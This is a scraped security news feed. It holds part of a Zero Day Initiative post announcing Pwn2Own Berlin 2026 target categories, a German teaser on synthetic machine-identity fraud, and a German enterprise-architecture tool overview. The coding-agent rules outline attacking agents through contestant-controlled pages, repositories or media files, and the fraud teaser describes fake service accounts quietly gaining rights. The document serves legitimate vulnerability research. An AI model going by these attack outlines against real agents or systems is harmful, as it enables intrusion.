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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
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<p><a data-preserve-html-node="true" name="container"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Container Category</b></p>




  <p class="">We’re excited to have this category return for its third season, and we’re hopeful that even more contestants will target one of these container targets. For an attempt to be ruled a success against these three, the exploit must be launched from within the guest container/microVM and execute arbitrary code on the host operating system. Again, with help from AWS, Firecracker returns as a target with a prize of $100,000. Here are the targets and payouts for this category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
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<p><a data-preserve-html-node="true" name="aidb"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">AI Database Category</b></p>




  <p class="">In the past, AI Hackathons have focused on using AI to develop vulnerabilities or other offensive frameworks. We’re opening up the models and various components themselves for exploitation. The first AI sub-category focuses on databases. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Database category:</p>





















  
  














































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
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<p><a data-preserve-html-node="true" name="aicode"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Coding Agent Category</b></p>




  <p class="">Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a new category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:</p>





















  
  














































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
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<p><a data-preserve-html-node="true" name="ailocal"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Local Inference Category</b></p>




  <p class="">We couldn’t leave local inference and LLMs out of Pwn2Own. These products claim to provide enhanced data privacy, zero-cost inference, lower latency, and fully offline functionality. We’ll see how the security stacks up. An attempt in this category must be launched from the contestant’s laptop within the contest network. Here are the targets and payouts for the Local Inference category:</p>





















  
  














































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
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<p><a data-preserve-html-node="true" name="nvidia"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The NVIDIA Category</b></p>




  <p class="">Our last AI sub-category focuses solely on NVIDIA products. For network accessible targets, an attempt must be launched from the contestant's laptop within the contest network. For NV Container Toolkit, the attempt must be launched from within a crafted container image and execute arbitrary code on the host operating system. For Megatron Bridge, entries that leverage vulnerabilities pertaining to pickle deserialization or that leverage a vulnerability when “trust_remote_code=true” are out of scope. Here are the targets and payouts for the NVIDIA category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>




  <p class=""><strong>Conclusion</strong></p><p class="">The complete rules for Pwn2Own Berlin 2026 are found <a href="https://www.zerodayinitiative.com/Pwn2OwnBerlin2026Rules.html" target="_blank">here</a>. As always, we <strong>highly</strong> encourage entrants to read the rules thoroughly if they choose to participate. If you are thinking about participating but have specific configuration or rule-related questions, <a href="mailto:pwn2own@trendmicro.com?subject=Pwn2Own%20Berlin%202026%20Question" target="_blank">email</a> us. Questions asked over X (nee Twitter), BlueSky, or other means will not be answered. Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at <a href="mailto:pwn2own@trendmicro.com">pwn2own@trendmicro.com</a> to begin the registration process. Registration for onsite participation closes at 5 p.m. Central European Time on May 7, 2026.</p><p class="">Be sure to stay tuned to this blog and follow us on <a href="https://www.twitter.com/thezdi" target="_blank">Twitter</a>, <a href="https://infosec.exchange/@thezdi" target="_blank">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative" target="_blank">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social" target="_blank">Bluesky</a> for the latest information and updates about the contest. We look forward to seeing everyone in Germany, and we hope to see some of the best in the world show what they can do – vibe coded or not.</p><p class="">With special thanks to our Pwn2Own Berlin 2026 partners AWS, for providing their expertise and technology.</p>





















  
  














































  

    
  
    

      

      
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  <p class="">© 2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, ZERO DAY INITIATIVE, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.</p>]]></content:encoded>
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<title><![CDATA[Synthetische Machine-Identitäten: So entsteht Identitätsbetrug ohne echte Opfer]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Synthetischer Identitätsbetrug trifft Unternehmen nicht nur auf Menschen, sondern auch auf Maschinen-Identitäten. Angreifer können neue Service- oder Admin-Identitäten so konstruieren, dass sie wie legitime Konten wirken und unbemerkt Rechte ansammeln. Weil es kein „gestohl...]]></description>
<link>https://tsecurity.de/de/3694463/it-security-nachrichten/synthetische-machine-identitaeten-so-entsteht-identitaetsbetrug-ohne-echte-opfer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694463/it-security-nachrichten/synthetische-machine-identitaeten-so-entsteht-identitaetsbetrug-ohne-echte-opfer/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:34 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-synthetic-machine-identities-service-account.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" loading="lazy" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-synthetic-machine-identities-service-account.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-synthetic-machine-identities-service-account-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-synthetic-machine-identities-service-account-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-synthetic-machine-identities-service-account-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-synthetic-machine-identities-service-account-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-synthetic-machine-identities-service-account-120x120.jpg 120w" sizes="auto, (max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Synthetischer Identitätsbetrug trifft Unternehmen nicht nur auf Menschen, sondern auch auf Maschinen-Identitäten. Angreifer können neue Service- oder Admin-Identitäten so konstruieren, dass sie wie legitime Konten wirken und unbemerkt Rechte ansammeln. Weil es kein „gestohlenes“ Konto gibt, feuern klassische Warnmechanismen häufig zu spät oder gar nicht. Besonders Agentic KI senkt die Hürde, […]</p>
<div><a href="https://www.it-boltwise.de/synthetische-machine-identitaeten-so-entsteht-identitaetsbetrug-ohne-echte-opfer.html">... den vollständigen Artikel <strong>»Synthetische Machine-Identitäten: So entsteht Identitätsbetrug ohne echte Opfer«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/synthetische-machine-identitaeten-so-entsteht-identitaetsbetrug-ohne-echte-opfer.html">Synthetische Machine-Identitäten: So entsteht Identitätsbetrug ohne echte Opfer</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
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<title><![CDATA[18 Enterprise-Architecture-Tools]]></title>
<description><![CDATA[Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. 
					Foto: I Believe I Can Fly – shutterstock.com




Enterprise Architecture (EA) Tools unterstützen Unternehmen und Organisationen dabei, mit ihren IT-Strategien die Geschäftszie...]]></description>
<link>https://tsecurity.de/de/3694429/it-security-nachrichten/18-enterprise-architecture-tools/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694429/it-security-nachrichten/18-enterprise-architecture-tools/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. " title="Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. " src="https://images.computerwoche.de/bdb/3284195/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. </p></figcaption></figure><p class="imageCredit">
					Foto: I Believe I Can Fly – shutterstock.com</p></div>




<p class="wp-block-paragraph"><a href="https://www.computerwoche.de/article/2789207/eam-gibt-orientierung-in-der-digitalen-transformation.html" title="Enterprise Architecture" target="_blank">Enterprise Architecture</a> (EA) Tools unterstützen Unternehmen und Organisationen dabei, mit ihren IT-Strategien die Geschäftsziele optimal zu unterstützen. Sie sorgen ebenfalls dafür, dass Unternehmen ihre Roadmaps für die <a href="https://www.computerwoche.de/article/2794425/wie-digitale-transformation-richtig-geht.html" title="digitale Transformation" target="_blank">digitale Transformation</a> geordnet vorantreiben können. EA Tools bieten dafür unter anderem Collaboration-, Reporting-, Testing- und Simulationsfunktionen. Mit deren Hilfe lassen sich Modelle implementieren, die Geschäfts- und IT-Prozesse gezielt verbessern.</p>



<p class="wp-block-paragraph">Um die beste Lösung für Ihr Unternehmen zu finden, sollten Sie zuerst prüfen, ob sich das jeweilige Tool mit Ihrem Technologie-Stack integrieren lässt. Anschließend gilt es abzuwägen, ob die Informationen, Diagramme und Tabellen, die die Software zur Verfügung stellt, für das Unternehmen auch einen echten Nutzwert haben.</p>



<h2 class="wp-block-heading">Empfehlenswerte Enterprise-Architecture-Tools</h2>



<p class="wp-block-paragraph">Nachfolgend finden Sie einen Überblick über die wichtigsten Enterprise-Architecture-Tools – in alphabetischer Reihenfolge. Sie stellen einen Mix aus Visualisierungs-, Collaboration- und Project-Management-Funktionen bereit und unterstützen eine Vielzahl von Enterprise Architecture Frameworks.</p>



<p class="wp-block-paragraph"><strong><a href="https://www.ardoq.com/" title="Ardoq" target="_blank" rel="noopener">Ardoq</a></strong></p>



<p class="wp-block-paragraph">Nachdem zuerst über einfache Formulare Informationen von Usern, Entwicklern und sonstigen Stakeholdern im Unternehmen eingesammelt wurden, lässt sich mithilfe von Ardoq ein digitaler Zwilling der gesamten Organisation erstellen. Der Ansatz setzt also darauf, die Menschen, die in ihren Rollen mit den verschiedensten Systemen arbeiten, realistisch in ihrer Arbeitswelt abzubilden.</p>



<p class="wp-block-paragraph">Jede Mitarbeiterin und jeder Mitarbeiter im Unternehmen kann später von den Netzwerkvisualisierungen und Datenfluss-Diagrammen profitieren, um seine eigene Rolle optimal zu unterstützen und den Arbeitsplatz immer wieder anzupassen und zu modernisieren. Das Tool lässt sich mit den wichtigsten Cloud-Plattformen integrieren. Es bietet eine API, die individuelle Anpassungen in allen wichtigen Programmiersprachen (Python, C#, Java, etc.) ermöglicht.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>“Architektonischen Stress” bei Lastspitzen simulieren, falls größere Veränderungen bevorstehen;</p></li>



<li><p>Verstehen, wie verändertes Nutzerverhalten neue Anforderungen generiert;</p></li>



<li><p>Application Portfolio Management, um besser strategisch zu planen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://atollgroup.eu/samu-enterprise-architecture-tool/" title="Atoll Group SAMU" target="_blank" rel="noopener">Atoll Group SAMU</a></strong></p>



<p class="wp-block-paragraph">Das EA-Tool SAMU macht die Enterprise Architecture sichtbar, indem es tiefe Verknüpfungen zwischen On-Premises-Systemen, dem Cloud-Layer und Tools für das Business Process Management aufzeigt. Das Tool der Atoll Group bietet vielfältige Integrationsmöglichkeiten, zum Beispiel mit Monitoring-Tools (etwa Tivoli, ServiceNow), Configuration-Management-Datenbanken (zum Beispiel CA, BMC) oder Service-Organisations-Tools (BMC, HPE). Alle Informationen fließen in ein zentrales Datenmodell ein, das um den zusätzlichen Input der Stakeholder weiter angereichert wird.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Enterprise-Architektur visualisieren;</p></li>



<li><p>strategische Planungsprozesse und Architektur-Reviews mit Informationen unterfüttern;</p></li>



<li><p>mithilfe einer visuellen Verständnisgrundlage die Kommunikation verbessern.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.avolutionsoftware.com/enterprise-architecture/" title="Avolution Abacus" target="_blank" rel="noopener">Avolution Abacus</a></strong></p>



<p class="wp-block-paragraph">Dieses Tool erfasst die Breite und den Umfang der Unternehmensarchitektur mit Hilfe eines auf Diagrammen basierenden Dashboards. Die Integration mit gängigen Tools wie SharePoint, <a href="https://www.computerwoche.de/k/excel,3461" target="_blank" class="idgGlossaryLink">Excel</a>, Visio, Google Sheets, Technopedia oder ServiceNow vereinfacht die Nutzung. Abacus wurde inzwischen auch um einen Machine-Learning-Layer ergänzt, der es Anwendern ermöglicht, ein Modell zu trainieren, das ihnen beispielsweise hilft zu erkennen, wer im Unternehmen für welches System verantwortlich ist.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>die IT für das gesamte Unternehmen “öffnen”, um ein allgemeines Verständnis der Datenflüsse zu erzeugen;</p></li>



<li><p>umfassendes Enterprise Modeling, um eine Roadmap für künftige Entwicklungen zu erstellen;</p></li>



<li><p>Business-Metriken tracken, die mit der Unternehmens-Performance zusammenhängen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.boc-group.com/de/adoit/" title="BOC Group ADOIT" target="_blank" rel="noopener">BOC Group ADOIT</a></strong></p>



<p class="wp-block-paragraph">ADOIT soll Teams dabei unterstützen, Ressourcen zu verwalten, Bedarfe vorherzusagen und Assets zu tracken. Dazu mappt das Tool jedes System oder Softwarepaket mit einem Objekt. Die Datenflüsse zwischen den Systemen werden in Beziehungen umgewandelt, die von diesen Objekten mithilfe eines anpassbaren Metamodells erfasst werden. Geschäftsprozesse können auf ähnliche Weise über ein gut integriertes Begleitprodukt namens ADONIS modelliert werden. ADOIT ist Web-basiert und lässt sich auch mit Tools wie Atlassian Confluence integrieren, um die Datenerfassung und -entwicklung zu beschleunigen.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>ein unternehmensweites Modell erstellen, das bei sämtlichen Teammitgliedern ein Verständnis über den Stack schafft – und wie man diesen verbessern kann;</p></li>



<li><p>vollständiger Zugriff auf EA-Daten über eine Mobile-Anwendung;</p></li>



<li><p>bei Fusionen und Übernahmen den Tech-Bereich durch genaues Asset-Mapping orchestrieren.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a title="Mega Hopex" href="https://www.mega.com/hopex-platform" target="_blank" rel="noopener">Bizzdesign Hopex</a></strong></p>



<p class="wp-block-paragraph">Nach der Übernahme von Mega International zählt die Hopex-Plattform zum Portfolio von Bizzdesign. Sie soll dabei unterstützen, Unternehmensanwendungen zu modellieren und dabei ein Verständnis der von ihnen unterstützten Geschäfts-Workflows schaffen. Dabei liegt ein Schwerpunkt auf den Bereichen Data Governance und Risikomanagement. Hopex basiert auf Microsoft <a class="idgGlossaryLink" href="https://www.computerwoche.de/article/2732704/microsoft-azure-mit-der-deutschen-cloud-zu-neuen-geldquellen.html" target="_blank">Azure</a> und stützt sich auf eine Reihe offener Standards wie GraphQL und REST Queries, um Informationen aus Komponentensystemen zu sammeln. Das Reporting ist mit den Office-Tools von Microsoft sowie mit grafischen Lösungen wie Tableau und Qlik integriert.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>datengestützte Erkenntnisse herbeiführen, um Cloud- und Anwendungsbereitstellung zu steuern;</p></li>



<li><p>akkurate Nutzungsmodelle erstellen, um Architekturanforderungen zu verstehen;</p></li>



<li><p>eine Bedarfsschätzung mit Umfragen und anderen Tools vornehmen, um für die Zukunft zu planen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://bizzdesign.com/transformation-suite/horizzon" target="_blank" rel="noreferrer noopener">Bizzdesign Horizzon</a></strong></p>



<p class="wp-block-paragraph">Das Tool dient dazu, Business Workflows und den zugrundeliegenden Tech-Stack zu modellieren. Dazu bietet Horizzon ein Graph-basiertes Modell, das Daten von sämtlichen Stakeholdern einsammelt und diese an eine Analytics-Engine weitergibt. Im Ergebnis entstehen Diagramme, die den aktuellen Systemzustand widerspiegeln. Wichtige Schwerpunkte dieses Tools sind <a class="idgGlossaryLink" href="https://www.computerwoche.de/article/2777492/was-sie-ueber-change-management-wissen-muessen.html" target="_blank">Change Management</a> und Zukunftsplanung: Horizzon ist nicht zuletzt dafür konzipiert worden, die Risiken eines Redesigns zu minimieren. Das Toolset unterstützt die wichtigsten Frameworks ArchiMate, TOGAF und BPMN. Neben Mega hat Bizzdesign <a href="https://bizzdesign.com/press-releases/bizzdesign-adds-alfabet-business-following-successful-closing-mega-international" target="_blank" rel="noreferrer noopener">im Januar 2025</a> auch den EA-Geschäftsbereich der Software AG – Alfabet – übernommen.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Vorhersage zukünftiger Anforderungen durch Predictive Modeling;</p></li>



<li><p>Orchestrieren von Workflows auf der Basis der technischen und der Business-Architektur;</p></li>



<li><p>Antizipieren von Risiken sowie Security- und Governance-Problemen durch die Modellierung von Datensicherheitsanforderungen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.capstera.com/" target="_blank" rel="noreferrer noopener">Capstera</a></strong></p>



<p class="wp-block-paragraph">Das Tool von Capstera fokussiert darauf, die Business Architecture selbst abzubilden. Value und Process Maps helfen dabei, die Rollen der verschiedenen Unternehmensbereiche zu definieren und nachzuverfolgen. Dabei können im laufenden Prozess Verknüpfungen mit den zugrundeliegenden Softwarprodukten und Tools hinzugefügt werden.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Reports erstellen, die sich erst einmal mit der Business-Architektur selbst beschäftigen;</p></li>



<li><p>Beziehungen zwischen Menschen, Abteilungen und Rollen analysieren;</p></li>



<li><p>die langfristige strategische Planung vorantreiben.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.bee360.com/de/" title="Clausmark Bee360" target="_blank" rel="noopener">Clausmark Bee360</a></strong></p>



<p class="wp-block-paragraph">Teammitglieder, die Clausmarks Flaggschiffprodukt Bee360 (früher Bee4IT) verwenden, wollen eine einfache “Single Source of Truth” über die Workflows im Unternehmen. Ziel ist es, verschiedenen betrieblichen Rollen intelligentere Entscheidungen zu ermöglichen. Das Modul Bee360 FM (Finanzmanagement) bietet etwa die Möglichkeit, Kosten nachzuvollziehen und zuzuordnen. Die Anwender können verschiedene solcher Module miteinander verknüpfen, um EAM, Finanzmanagement, Portfolio Management und Agile Planning nahtlos zu integrieren – bei maximaler Transparenz. </p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>C-Suite-Ebene befähigen, Projekte zu managen und Assets zuzuweisen;</p></li>



<li><p>präzise digitale Zwillinge entwickeln, um ein Verständnis über Datenflüsse zu schaffen und künftige Erweiterungen zu planen;</p></li>



<li><p>integrierte Wissensdatenbank aufbauen, um alle digitalen Workflows zu tracken.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.enterprise-architecture.com/" title="EAS" target="_blank" rel="noopener">EAS</a></strong></p>



